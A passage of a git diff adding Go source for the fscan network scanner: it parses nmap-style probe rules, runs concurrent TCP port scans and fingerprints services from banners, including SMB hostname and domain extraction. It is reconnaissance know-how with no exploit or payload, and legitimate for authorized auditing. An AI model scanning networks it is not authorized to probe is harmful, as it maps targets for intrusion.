v.Exclude = firstLine[len("Exclude")+1:]
lines = lines[1:]
Common.LogDebug("解析到Exclude规则: " + v.Exclude)
}
// 合并内容并分割探测器
content = "\n" + strings.Join(lines, "\n")
probeParts := strings.Split(content, "\nProbe")[1:]
// 解析每个探测器
for _, probePart := range probeParts {
probe := Probe{}
if err := probe.fromString(probePart); err != nil {
Common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err))
continue
}
probes = append(probes, probe)
}
v.AllProbes = probes
Common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes)))
}
// 将探测器转换为名称映射
func (v *VScan) parseProbesToMapKName() {
Common.LogDebug("开始构建探测器名称映射")
v.ProbesMapKName = map[string]Probe{}
for _, probe := range v.AllProbes {
v.ProbesMapKName[probe.Name] = probe
Common.LogDebug("添加探测器映射: " + probe.Name)
}
}
// 设置使用的探测器
func (v *VScan) SetusedProbes() {
Common.LogDebug("开始设置要使用的探测器")
for _, probe := range v.AllProbes {
if strings.ToLower(probe.Protocol) == "tcp" {
if probe.Name == "SSLSessionReq" {
Common.LogDebug("跳过 SSLSessionReq 探测器")
continue
}
v.Probes = append(v.Probes, probe)
Common.LogDebug("添加TCP探测器: " + probe.Name)
// 特殊处理TLS会话请求
if probe.Name == "TLSSessionReq" {
sslProbe := v.ProbesMapKName["SSLSessionReq"]
v.Probes = append(v.Probes, sslProbe)
Common.LogDebug("为TLSSessionReq添加SSL探测器")
}
} else {
v.UdpProbes = append(v.UdpProbes, probe)
Common.LogDebug("添加UDP探测器: " + probe.Name)
}
}
Common.LogDebug(fmt.Sprintf("探测器设置完成TCP: %d个, UDP: %d个",
len(v.Probes), len(v.UdpProbes)))
}
// 解析match指令获取匹配规则
func (p *Probe) getMatch(data string) (match Match, err error) {
Common.LogDebug("开始解析match指令" + data)
match = Match{}
// 提取match文本并解析指令语法
matchText := data[len("match")+1:]
directive := p.getDirectiveSyntax(matchText)
// 分割文本获取pattern和版本信息
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
if len(textSplited) == 0 {
return match, fmt.Errorf("无效的match指令格式")
}
pattern := textSplited[0]
versionInfo := strings.Join(textSplited[1:], "")
// 解码并编译正则表达式
patternUnescaped, decodeErr := DecodePattern(pattern)
if decodeErr != nil {
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
return match, decodeErr
}
patternUnescapedStr := string([]rune(string(patternUnescaped)))
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
if compileErr != nil {
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
return match, compileErr
}
// 设置match对象属性
match.Service = directive.DirectiveName
match.Pattern = pattern
match.PatternCompiled = patternCompiled
match.VersionInfo = versionInfo
Common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s",
match.Service, match.Pattern))
return match, nil
}
// 解析softmatch指令获取软匹配规则
func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
Common.LogDebug("开始解析softmatch指令" + data)
softMatch = Match{IsSoft: true}
// 提取softmatch文本并解析指令语法
matchText := data[len("softmatch")+1:]
directive := p.getDirectiveSyntax(matchText)
// 分割文本获取pattern和版本信息
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
if len(textSplited) == 0 {
return softMatch, fmt.Errorf("无效的softmatch指令格式")
}
pattern := textSplited[0]
versionInfo := strings.Join(textSplited[1:], "")
// 解码并编译正则表达式
patternUnescaped, decodeErr := DecodePattern(pattern)
if decodeErr != nil {
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
return softMatch, decodeErr
}
patternUnescapedStr := string([]rune(string(patternUnescaped)))
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
if compileErr != nil {
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
return softMatch, compileErr
}
// 设置softMatch对象属性
softMatch.Service = directive.DirectiveName
softMatch.Pattern = pattern
softMatch.PatternCompiled = patternCompiled
softMatch.VersionInfo = versionInfo
Common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s",
softMatch.Service, softMatch.Pattern))
return softMatch, nil
}
// 解码模式字符串,处理转义序列
func DecodePattern(s string) ([]byte, error) {
Common.LogDebug("开始解码pattern: " + s)
sByteOrigin := []byte(s)
// 处理十六进制、八进制和结构化转义序列
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) (v []byte) {
var replace []byte
// 处理十六进制转义
if isHexCode(match) {
hexNum := match[2:]
byteNum, _ := strconv.ParseInt(string(hexNum), 16, 32)
if isReChar(byteNum) {
replace = []byte{'\\', uint8(byteNum)}
} else {
replace = []byte{uint8(byteNum)}
}
}
// 处理结构化转义字符
if isStructCode(match) {
structCodeMap := map[int][]byte{
97: []byte{0x07}, // \a 响铃
102: []byte{0x0c}, // \f 换页
116: []byte{0x09}, // \t 制表符
110: []byte{0x0a}, // \n 换行
114: []byte{0x0d}, // \r 回车
118: []byte{0x0b}, // \v 垂直制表符
}
replace = structCodeMap[int(match[1])]
}
// 处理八进制转义
if isOctalCode(match) {
octalNum := match[2:]
byteNum, _ := strconv.ParseInt(string(octalNum), 8, 32)
replace = []byte{uint8(byteNum)}
}
return replace
})
// 处理其他转义序列
matchRe2 := regexp.MustCompile(`\\([^\\])`)
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) (v []byte) {
if isOtherEscapeCode(match) {
return match
}
return match
})
Common.LogDebug("pattern解码完成")
return sByteDec2, nil
}
// ProbesRarity 用于按稀有度排序的探测器切片
type ProbesRarity []Probe
// Len 返回切片长度,实现 sort.Interface 接口
func (ps ProbesRarity) Len() int {
return len(ps)
}
// Swap 交换切片中的两个元素,实现 sort.Interface 接口
func (ps ProbesRarity) Swap(i, j int) {
ps[i], ps[j] = ps[j], ps[i]
}
// Less 比较函数,按稀有度升序排序,实现 sort.Interface 接口
func (ps ProbesRarity) Less(i, j int) bool {
return ps[i].Rarity < ps[j].Rarity
}
// Target 定义目标结构体
type Target struct {
IP string // 目标IP地址
Port int // 目标端口
Protocol string // 协议类型
}
// ContainsPort 检查指定端口是否在探测器的端口范围内
func (p *Probe) ContainsPort(testPort int) bool {
Common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports))
// 检查单个端口
ports := strings.Split(p.Ports, ",")
for _, port := range ports {
port = strings.TrimSpace(port)
cmpPort, err := strconv.Atoi(port)
if err == nil && testPort == cmpPort {
Common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort))
return true
}
}
// 检查端口范围
for _, port := range ports {
port = strings.TrimSpace(port)
if strings.Contains(port, "-") {
portRange := strings.Split(port, "-")
if len(portRange) != 2 {
Common.LogDebug("无效的端口范围格式: " + port)
continue
}
start, err1 := strconv.Atoi(strings.TrimSpace(portRange[0]))
end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1]))
if err1 != nil || err2 != nil {
Common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port))
continue
}
if testPort >= start && testPort <= end {
Common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end))
return true
}
}
}
Common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort))
return false
}
// MatchPattern 使用正则表达式匹配响应内容
func (m *Match) MatchPattern(response []byte) bool {
// 将响应转换为字符串并进行匹配
responseStr := string([]rune(string(response)))
foundItems := m.PatternCompiled.FindStringSubmatch(responseStr)
if len(foundItems) > 0 {
m.FoundItems = foundItems
Common.LogDebug(fmt.Sprintf("匹配成功,找到 %d 个匹配项", len(foundItems)))
return true
}
return false
}
// ParseVersionInfo 解析版本信息并返回额外信息结构
func (m *Match) ParseVersionInfo(response []byte) Extras {
Common.LogDebug("开始解析版本信息")
var extras = Extras{}
// 替换版本信息中的占位符
foundItems := m.FoundItems[1:] // 跳过第一个完整匹配项
versionInfo := m.VersionInfo
for index, value := range foundItems {
dollarName := "$" + strconv.Itoa(index+1)
versionInfo = strings.Replace(versionInfo, dollarName, value, -1)
}
Common.LogDebug("替换后的版本信息: " + versionInfo)
// 定义解析函数
parseField := func(field, pattern string) string {
patterns := []string{
pattern + `/([^/]*)/`, // 斜线分隔
pattern + `\|([^|]*)\|`, // 竖线分隔
}
for _, p := range patterns {
if strings.Contains(versionInfo, pattern) {
regex := regexp.MustCompile(p)
if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 {
Common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1]))
return matches[1]
}
}
}
return ""
}
// 解析各个字段
extras.VendorProduct = parseField("厂商产品", " p")
extras.Version = parseField("版本", " v")
extras.Info = parseField("信息", " i")
extras.Hostname = parseField("主机名", " h")
extras.OperatingSystem = parseField("操作系统", " o")
extras.DeviceType = parseField("设备类型", " d")
// 特殊处理CPE
if strings.Contains(versionInfo, " cpe:/") || strings.Contains(versionInfo, " cpe:|") {
cpePatterns := []string{`cpe:/([^/]*)`, `cpe:\|([^|]*)`}
for _, pattern := range cpePatterns {
regex := regexp.MustCompile(pattern)
if cpeName := regex.FindStringSubmatch(versionInfo); len(cpeName) > 0 {
if len(cpeName) > 1 {
extras.CPE = cpeName[1]
} else {
extras.CPE = cpeName[0]
}
Common.LogDebug("解析到CPE: " + extras.CPE)
break
}
}
}
return extras
}
// ToMap 将 Extras 转换为 map[string]string
func (e *Extras) ToMap() map[string]string {
Common.LogDebug("开始转换Extras为Map")
result := make(map[string]string)
// 定义字段映射
fields := map[string]string{
"vendor_product": e.VendorProduct,
"version": e.Version,
"info": e.Info,
"hostname": e.Hostname,
"os": e.OperatingSystem,
"device_type": e.DeviceType,
"cpe": e.CPE,
}
// 添加非空字段到结果map
for key, value := range fields {
if value != "" {
result[key] = value
Common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value))
}
}
Common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result)))
return result
}
func DecodeData(s string) ([]byte, error) {
if len(s) == 0 {
Common.LogDebug("输入数据为空")
return nil, fmt.Errorf("empty input")
}
Common.LogDebug(fmt.Sprintf("开始解码数据,长度: %d, 内容: %q", len(s), s))
sByteOrigin := []byte(s)
// 处理十六进制、八进制和结构化转义序列
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) []byte {
// 处理十六进制转义
if isHexCode(match) {
hexNum := match[2:]
byteNum, err := strconv.ParseInt(string(hexNum), 16, 32)
if err != nil {
return match
}
return []byte{uint8(byteNum)}
}
// 处理结构化转义字符
if isStructCode(match) {
structCodeMap := map[int][]byte{
97: []byte{0x07}, // \a 响铃
102: []byte{0x0c}, // \f 换页
116: []byte{0x09}, // \t 制表符
110: []byte{0x0a}, // \n 换行
114: []byte{0x0d}, // \r 回车
118: []byte{0x0b}, // \v 垂直制表符
}
if replace, ok := structCodeMap[int(match[1])]; ok {
return replace
}
return match
}
// 处理八进制转义
if isOctalCode(match) {
octalNum := match[2:]
byteNum, err := strconv.ParseInt(string(octalNum), 8, 32)
if err != nil {
return match
}
return []byte{uint8(byteNum)}
}
Common.LogDebug(fmt.Sprintf("无法识别的转义序列: %s", string(match)))
return match
})
// 处理其他转义序列
matchRe2 := regexp.MustCompile(`\\([^\\])`)
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) []byte {
if len(match) < 2 {
return match
}
if isOtherEscapeCode(match) {
return []byte{match[1]}
}
return match
})
if len(sByteDec2) == 0 {
Common.LogDebug("解码后数据为空")
return nil, fmt.Errorf("decoded data is empty")
}
Common.LogDebug(fmt.Sprintf("解码完成,结果长度: %d, 内容: %x", len(sByteDec2), sByteDec2))
return sByteDec2, nil
}
// GetAddress 获取目标的完整地址IP:端口)
func (t *Target) GetAddress() string {
addr := t.IP + ":" + strconv.Itoa(t.Port)
Common.LogDebug("获取目标地址: " + addr)
return addr
}
// trimBanner 处理和清理横幅数据
func trimBanner(buf []byte) string {
Common.LogDebug("开始处理横幅数据")
bufStr := string(buf)
// 特殊处理SMB协议
if strings.Contains(bufStr, "SMB") {
banner := hex.EncodeToString(buf)
if len(banner) > 0xa+6 && banner[0xa:0xa+6] == "534d42" { // "SMB" in hex
Common.LogDebug("检测到SMB协议数据")
plain := banner[0xa2:]
data, err := hex.DecodeString(plain)
if err != nil {
Common.LogDebug("SMB数据解码失败: " + err.Error())
return bufStr
}
// 解析domain
var domain string
var index int
for i, s := range data {
if s != 0 {
domain += string(s)
} else if i+1 < len(data) && data[i+1] == 0 {
index = i + 2
break
}
}
// 解析hostname
var hostname string
remainData := data[index:]
for i, h := range remainData {
if h != 0 {
hostname += string(h)
}
if i+1 < len(remainData) && remainData[i+1] == 0 {
break
}
}
smbBanner := fmt.Sprintf("hostname: %s domain: %s", hostname, domain)
Common.LogDebug("SMB横幅: " + smbBanner)
return smbBanner
}
}
// 处理常规数据
var src string
for _, ch := range bufStr {
if ch > 32 && ch < 125 {
src += string(ch)
} else {
src += " "
}
}
// 清理多余空白
re := regexp.MustCompile(`\s{2,}`)
src = re.ReplaceAllString(src, ".")
result := strings.TrimSpace(src)
Common.LogDebug("处理后的横幅: " + result)
return result
}
// Init 初始化VScan对象
func (v *VScan) Init() {
Common.LogDebug("开始初始化VScan")
v.parseProbesFromContent(ProbeString)
v.parseProbesToMapKName()
v.SetusedProbes()
Common.LogDebug("VScan初始化完成")
}

476
Core/PortInfo.go Normal file
View File

@ -0,0 +1,476 @@
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"io"
"net"
"strings"
"time"
)
// ServiceInfo 定义服务识别的结果信息
type ServiceInfo struct {
Name string // 服务名称,如 http、ssh 等
Banner string // 服务返回的横幅信息
Version string // 服务版本号
Extras map[string]string // 其他额外信息,如操作系统、产品名等
}
// Result 定义单次探测的结果
type Result struct {
Service Service // 识别出的服务信息
Banner string // 服务横幅
Extras map[string]string // 额外信息
Send []byte // 发送的探测数据
Recv []byte // 接收到的响应数据
}
// Service 定义服务的基本信息
type Service struct {
Name string // 服务名称
Extras map[string]string // 服务的额外属性
}
// Info 定义单个端口探测的上下文信息
type Info struct {
Address string // 目标IP地址
Port int // 目标端口
Conn net.Conn // 网络连接
Result Result // 探测结果
Found bool // 是否成功识别服务
}
// PortInfoScanner 定义端口服务识别器
type PortInfoScanner struct {
Address string // 目标IP地址
Port int // 目标端口
Conn net.Conn // 网络连接
Timeout time.Duration // 超时时间
info *Info // 探测上下文
}
// 预定义的基础探测器
var (
null = new(Probe) // 空探测器,用于基本协议识别
common = new(Probe) // 通用探测器,用于常见服务识别
)
// NewPortInfoScanner 创建新的端口服务识别器实例
func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Duration) *PortInfoScanner {
return &PortInfoScanner{
Address: addr,
Port: port,
Conn: conn,
Timeout: timeout,
info: &Info{
Address: addr,
Port: port,
Conn: conn,
Result: Result{
Service: Service{},
},
},
}
}
// Identify 执行服务识别,返回识别结果
func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
Common.LogDebug(fmt.Sprintf("开始识别服务 %s:%d", s.Address, s.Port))
s.info.PortInfo()
// 构造返回结果
serviceInfo := &ServiceInfo{
Name: s.info.Result.Service.Name,
Banner: s.info.Result.Banner,
Version: s.info.Result.Service.Extras["version"],
Extras: make(map[string]string),
}
// 复制额外信息
for k, v := range s.info.Result.Service.Extras {
serviceInfo.Extras[k] = v
}
Common.LogDebug(fmt.Sprintf("服务识别完成 %s:%d => %s", s.Address, s.Port, serviceInfo.Name))
return serviceInfo, nil
}
// PortInfo 执行端口服务识别的主要逻辑
func (i *Info) PortInfo() {
// 1. 首先尝试读取服务的初始响应
if response, err := i.Read(); err == nil && len(response) > 0 {
Common.LogDebug(fmt.Sprintf("收到初始响应: %d 字节", len(response)))
// 使用基础探测器检查响应
Common.LogDebug("尝试使用基础探测器(null/common)检查响应")
if i.tryProbes(response, []*Probe{null, common}) {
Common.LogDebug("基础探测器匹配成功")
return
}
Common.LogDebug("基础探测器未匹配")
} else if err != nil {
Common.LogDebug(fmt.Sprintf("读取初始响应失败: %v", err))
}
// 记录已使用的探测器,避免重复使用
usedProbes := make(map[string]struct{})
// 2. 尝试使用端口专用探测器
Common.LogDebug(fmt.Sprintf("尝试使用端口 %d 的专用探测器", i.Port))
if i.processPortMapProbes(usedProbes) {
Common.LogDebug("端口专用探测器匹配成功")
return
}
Common.LogDebug("端口专用探测器未匹配")
// 3. 使用默认探测器列表
Common.LogDebug("尝试使用默认探测器列表")
if i.processDefaultProbes(usedProbes) {
Common.LogDebug("默认探测器匹配成功")
return
}
Common.LogDebug("默认探测器未匹配")
// 4. 如果所有探测都失败,标记为未知服务
if strings.TrimSpace(i.Result.Service.Name) == "" {
Common.LogDebug("未识别出服务,标记为 unknown")
i.Result.Service.Name = "unknown"
}
}
// tryProbes 尝试使用指定的探测器列表检查响应
func (i *Info) tryProbes(response []byte, probes []*Probe) bool {
for _, probe := range probes {
Common.LogDebug(fmt.Sprintf("尝试探测器: %s", probe.Name))
i.GetInfo(response, probe)
if i.Found {
Common.LogDebug(fmt.Sprintf("探测器 %s 匹配成功", probe.Name))
return true
}
}
return false
}
// processPortMapProbes 处理端口映射中的专用探测器
func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bool {
// 检查是否存在端口专用探测器
if len(Common.PortMap[i.Port]) == 0 {
Common.LogDebug(fmt.Sprintf("端口 %d 没有专用探测器", i.Port))
return false
}
// 遍历端口专用探测器
for _, name := range Common.PortMap[i.Port] {
Common.LogDebug(fmt.Sprintf("尝试端口专用探测器: %s", name))
usedProbes[name] = struct{}{}
probe := v.ProbesMapKName[name]
// 解码探测数据
probeData, err := DecodeData(probe.Data)
if err != nil || len(probeData) == 0 {
Common.LogDebug(fmt.Sprintf("探测器 %s 数据解码失败", name))
continue
}
// 发送探测数据并获取响应
Common.LogDebug(fmt.Sprintf("发送探测数据: %d 字节", len(probeData)))
if response := i.Connect(probeData); len(response) > 0 {
Common.LogDebug(fmt.Sprintf("收到响应: %d 字节", len(response)))
// 使用当前探测器检查响应
i.GetInfo(response, &probe)
if i.Found {
return true
}
// 根据探测器类型进行额外检查
switch name {
case "GenericLines":
if i.tryProbes(response, []*Probe{null}) {
return true
}
case "NULL":
continue
default:
if i.tryProbes(response, []*Probe{common}) {
return true
}
}
}
}
return false
}
// processDefaultProbes 处理默认探测器列表
func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool {
failCount := 0
const maxFailures = 10 // 最大失败次数
// 遍历默认探测器列表
for _, name := range Common.DefaultMap {
// 跳过已使用的探测器
if _, used := usedProbes[name]; used {
continue
}
probe := v.ProbesMapKName[name]
probeData, err := DecodeData(probe.Data)
if err != nil || len(probeData) == 0 {
continue
}
// 发送探测数据并获取响应
response := i.Connect(probeData)
if len(response) == 0 {
failCount++
if failCount > maxFailures {
return false
}
continue
}
// 使用当前探测器检查响应
i.GetInfo(response, &probe)
if i.Found {
return true
}
// 根据探测器类型进行额外检查
switch name {
case "GenericLines":
if i.tryProbes(response, []*Probe{null}) {
return true
}
case "NULL":
continue
default:
if i.tryProbes(response, []*Probe{common}) {
return true
}
}
// 尝试使用端口映射中的其他探测器
if len(Common.PortMap[i.Port]) > 0 {
for _, mappedName := range Common.PortMap[i.Port] {
usedProbes[mappedName] = struct{}{}
mappedProbe := v.ProbesMapKName[mappedName]
i.GetInfo(response, &mappedProbe)
if i.Found {
return true
}
}
}
}
return false
}
// GetInfo 分析响应数据并提取服务信息
func (i *Info) GetInfo(response []byte, probe *Probe) {
Common.LogDebug(fmt.Sprintf("开始分析响应数据,长度: %d", len(response)))
// 响应数据有效性检查
if len(response) <= 0 {
Common.LogDebug("响应数据为空")
return
}
result := &i.Result
var (
softMatch Match
softFound bool
)
// 处理主要匹配规则
Common.LogDebug(fmt.Sprintf("处理探测器 %s 的主要匹配规则", probe.Name))
if matched, match := i.processMatches(response, probe.Matchs); matched {
Common.LogDebug("找到硬匹配")
return
} else if match != nil {
Common.LogDebug("找到软匹配")
softFound = true
softMatch = *match
}
// 处理回退匹配规则
if probe.Fallback != "" {
Common.LogDebug(fmt.Sprintf("尝试回退匹配: %s", probe.Fallback))
if fbProbe, ok := v.ProbesMapKName[probe.Fallback]; ok {
if matched, match := i.processMatches(response, fbProbe.Matchs); matched {
Common.LogDebug("回退匹配成功")
return
} else if match != nil {
Common.LogDebug("找到回退软匹配")
softFound = true
softMatch = *match
}
}
}
// 处理未找到匹配的情况
if !i.Found {
Common.LogDebug("未找到硬匹配,处理未匹配情况")
i.handleNoMatch(response, result, softFound, softMatch)
}
}
// processMatches 处理匹配规则集
func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match) {
Common.LogDebug(fmt.Sprintf("开始处理匹配规则,共 %d 条", len(*matches)))
var softMatch *Match
for _, match := range *matches {
if !match.MatchPattern(response) {
continue
}
if !match.IsSoft {
Common.LogDebug(fmt.Sprintf("找到硬匹配: %s", match.Service))
i.handleHardMatch(response, &match)
return true, nil
} else if softMatch == nil {
Common.LogDebug(fmt.Sprintf("找到软匹配: %s", match.Service))
tmpMatch := match
softMatch = &tmpMatch
}
}
return false, softMatch
}
// handleHardMatch 处理硬匹配结果
func (i *Info) handleHardMatch(response []byte, match *Match) {
Common.LogDebug(fmt.Sprintf("处理硬匹配结果: %s", match.Service))
result := &i.Result
extras := match.ParseVersionInfo(response)
extrasMap := extras.ToMap()
result.Service.Name = match.Service
result.Extras = extrasMap
result.Banner = trimBanner(response)
result.Service.Extras = extrasMap
// 特殊处理 microsoft-ds 服务
if result.Service.Name == "microsoft-ds" {
Common.LogDebug("特殊处理 microsoft-ds 服务")
result.Service.Extras["hostname"] = result.Banner
}
i.Found = true
Common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner))
}
// handleNoMatch 处理未找到匹配的情况
func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, softMatch Match) {
Common.LogDebug("处理未匹配情况")
result.Banner = trimBanner(response)
if !softFound {
// 尝试识别 HTTP 服务
if strings.Contains(result.Banner, "HTTP/") ||
strings.Contains(result.Banner, "html") {
Common.LogDebug("识别为HTTP服务")
result.Service.Name = "http"
} else {
Common.LogDebug("未知服务")
result.Service.Name = "unknown"
}
} else {
Common.LogDebug("使用软匹配结果")
extras := softMatch.ParseVersionInfo(response)
result.Service.Extras = extras.ToMap()
result.Service.Name = softMatch.Service
i.Found = true
Common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name))
}
}
// Connect 发送数据并获取响应
func (i *Info) Connect(msg []byte) []byte {
i.Write(msg)
reply, _ := i.Read()
return reply
}
const WrTimeout = 5 // 默认读写超时时间(秒)
// Write 写入数据到连接
func (i *Info) Write(msg []byte) error {
if i.Conn == nil {
return nil
}
// 设置写入超时
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
// 写入数据
_, err := i.Conn.Write(msg)
if err != nil && strings.Contains(err.Error(), "close") {
i.Conn.Close()
// 连接关闭时重试
i.Conn, err = net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second)
if err == nil {
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
_, err = i.Conn.Write(msg)
}
}
// 记录发送的数据
if err == nil {
i.Result.Send = msg
}
return err
}
// Read 从连接读取响应
func (i *Info) Read() ([]byte, error) {
if i.Conn == nil {
return nil, nil
}
// 设置读取超时
i.Conn.SetReadDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
// 读取数据
result, err := readFromConn(i.Conn)
if err != nil && strings.Contains(err.Error(), "close") {
return result, err
}
// 记录接收到的数据
if len(result) > 0 {
i.Result.Recv = result
}
return result, err
}
// readFromConn 从连接读取数据的辅助函数
func readFromConn(conn net.Conn) ([]byte, error) {
size := 2 * 1024 // 读取缓冲区大小
var result []byte
for {
buf := make([]byte, size)
count, err := conn.Read(buf)
if count > 0 {
result = append(result, buf[:count]...)
}
if err != nil {
if len(result) > 0 {
return result, nil
}
if err == io.EOF {
return result, nil
}
return result, err
}
if count < size {
return result, nil
}
}
}

262
Core/PortScan.go Normal file
View File

@ -0,0 +1,262 @@
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"net"
"sort"
"strings"
"sync"
"time"
)
// Addr 表示待扫描的地址
type Addr struct {
ip string // IP地址
port int // 端口号
}
// ScanResult 扫描结果
type ScanResult struct {
Address string // IP地址
Port int // 端口号
Service *ServiceInfo // 服务信息
}
// PortScan 执行端口扫描
// hostslist: 待扫描的主机列表
// ports: 待扫描的端口范围
// timeout: 超时时间(秒)
// 返回活跃地址列表
func PortScan(hostslist []string, ports string, timeout int64) []string {
var results []ScanResult
var aliveAddrs []string
var mu sync.Mutex
// 解析并验证端口列表
probePorts := Common.ParsePort(ports)
if len(probePorts) == 0 {
Common.LogError(fmt.Sprintf("端口格式错误: %s", ports))
return aliveAddrs
}
// 排除指定端口
probePorts = excludeNoPorts(probePorts)
// 初始化并发控制
workers := Common.ThreadNum
addrs := make(chan Addr, 100) // 待扫描地址通道
scanResults := make(chan ScanResult, 100) // 扫描结果通道
var wg sync.WaitGroup
var workerWg sync.WaitGroup
// 启动扫描工作协程
for i := 0; i < workers; i++ {
workerWg.Add(1)
go func() {
defer workerWg.Done()
for addr := range addrs {
PortConnect(addr, scanResults, timeout, &wg)
}
}()
}
// 启动结果处理协程
var resultWg sync.WaitGroup
resultWg.Add(1)
go func() {
defer resultWg.Done()
for result := range scanResults {
mu.Lock()
results = append(results, result)
aliveAddr := fmt.Sprintf("%s:%d", result.Address, result.Port)
aliveAddrs = append(aliveAddrs, aliveAddr)
mu.Unlock()
}
}()
// 分发扫描任务
for _, port := range probePorts {
for _, host := range hostslist {
wg.Add(1)
addrs <- Addr{host, port}
}
}
// 等待所有任务完成
close(addrs)
workerWg.Wait()
wg.Wait()
close(scanResults)
resultWg.Wait()
return aliveAddrs
}
// PortConnect 执行单个端口连接检测
// addr: 待检测的地址
// results: 结果通道
// timeout: 超时时间
// wg: 等待组
func PortConnect(addr Addr, results chan<- ScanResult, timeout int64, wg *sync.WaitGroup) {
defer wg.Done()
var isOpen bool
var err error
var conn net.Conn
// 尝试建立TCP连接
conn, err = Common.WrapperTcpWithTimeout("tcp4",
fmt.Sprintf("%s:%v", addr.ip, addr.port),
time.Duration(timeout)*time.Second)
if err == nil {
defer conn.Close()
isOpen = true
}
if err != nil || !isOpen {
return
}
// 记录开放端口
address := fmt.Sprintf("%s:%d", addr.ip, addr.port)
Common.LogSuccess(fmt.Sprintf("端口开放 %s", address))
// 保存端口扫描结果
portResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.PORT,
Target: addr.ip,
Status: "open",
Details: map[string]interface{}{
"port": addr.port,
},
}
Common.SaveResult(portResult)
// 构造扫描结果
result := ScanResult{
Address: addr.ip,
Port: addr.port,
}
// 执行服务识别
if !Common.SkipFingerprint && conn != nil {
scanner := NewPortInfoScanner(addr.ip, addr.port, conn, time.Duration(timeout)*time.Second)
if serviceInfo, err := scanner.Identify(); err == nil {
result.Service = serviceInfo
// 构造服务识别日志
var logMsg strings.Builder
logMsg.WriteString(fmt.Sprintf("服务识别 %s => ", address))
if serviceInfo.Name != "unknown" {
logMsg.WriteString(fmt.Sprintf("[%s]", serviceInfo.Name))
}
if serviceInfo.Version != "" {
logMsg.WriteString(fmt.Sprintf(" 版本:%s", serviceInfo.Version))
}
// 收集服务详细信息
details := map[string]interface{}{
"port": addr.port,
"service": serviceInfo.Name,
}
// 添加版本信息
if serviceInfo.Version != "" {
details["version"] = serviceInfo.Version
}
// 添加产品信息
if v, ok := serviceInfo.Extras["vendor_product"]; ok && v != "" {
details["product"] = v
logMsg.WriteString(fmt.Sprintf(" 产品:%s", v))
}
// 添加操作系统信息
if v, ok := serviceInfo.Extras["os"]; ok && v != "" {
details["os"] = v
logMsg.WriteString(fmt.Sprintf(" 系统:%s", v))
}
// 添加额外信息
if v, ok := serviceInfo.Extras["info"]; ok && v != "" {
details["info"] = v
logMsg.WriteString(fmt.Sprintf(" 信息:%s", v))
}
// 添加Banner信息
if len(serviceInfo.Banner) > 0 && len(serviceInfo.Banner) < 100 {
details["banner"] = strings.TrimSpace(serviceInfo.Banner)
logMsg.WriteString(fmt.Sprintf(" Banner:[%s]", strings.TrimSpace(serviceInfo.Banner)))
}
// 保存服务识别结果
serviceResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.SERVICE,
Target: addr.ip,
Status: "identified",
Details: details,
}
Common.SaveResult(serviceResult)
Common.LogSuccess(logMsg.String())
}
}
results <- result
}
// NoPortScan 生成端口列表(不进行扫描)
// hostslist: 主机列表
// ports: 端口范围
// 返回地址列表
func NoPortScan(hostslist []string, ports string) []string {
var AliveAddress []string
// 解析并排除端口
probePorts := excludeNoPorts(Common.ParsePort(ports))
// 生成地址列表
for _, port := range probePorts {
for _, host := range hostslist {
address := fmt.Sprintf("%s:%d", host, port)
AliveAddress = append(AliveAddress, address)
}
}
return AliveAddress
}
// excludeNoPorts 排除指定的端口
// ports: 原始端口列表
// 返回过滤后的端口列表
func excludeNoPorts(ports []int) []int {
noPorts := Common.ParsePort(Common.ExcludePorts)
if len(noPorts) == 0 {
return ports
}
// 使用map过滤端口
temp := make(map[int]struct{})
for _, port := range ports {
temp[port] = struct{}{}
}
// 移除需要排除的端口
for _, port := range noPorts {
delete(temp, port)
}
// 转换为有序切片
var newPorts []int
for port := range temp {
newPorts = append(newPorts, port)
}
sort.Ints(newPorts)
return newPorts
}

254
